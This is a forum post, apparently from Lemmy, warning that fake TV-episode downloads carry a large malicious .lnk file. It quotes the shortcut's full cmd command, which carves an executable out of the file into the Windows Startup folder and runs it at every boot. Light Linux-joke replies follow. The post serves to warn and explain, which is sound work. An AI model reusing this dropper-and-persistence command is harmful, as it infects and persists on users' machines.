I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I've gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:

%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c="%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUP%Username%.exe"&(If not exist !c! Findstr/v "cmd.EXE Rj%TIME:~7,1%%TIME:~-2%" !el!.Lnk>!c!&Start "" !c!)&CD %tmp%&Echo.>!

As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it's in your startup folder, it will run again every time you reboot.

The tracker is theRARBG, but it could also come from elsewhere. I've found it on a couple of different shows (not just this one), and they always download a couple of days before the airdate.

Be careful!

you are viewing a single comment's thread
view the rest of the comments

[–] piccolo@sh.itjust.works 3 points 1 day ago (2 children)

laughs in linux

[–] fubbernuckin@lemmy.dbzer0.com 12 points 1 day ago

You laugh in Linux now, but just wait until the year of the Linux desktop comes. Every malware developer on earth will be knocking on our door.

[–] Berstrrs@lemmy.dbzer0.com -1 points 1 day ago

I only laugh in Linux cause it's just the same anology as driving Dodge Ram in Europe - good luck finding spare parts.

At the same time VW Golf parts are sold almost in every convenience store.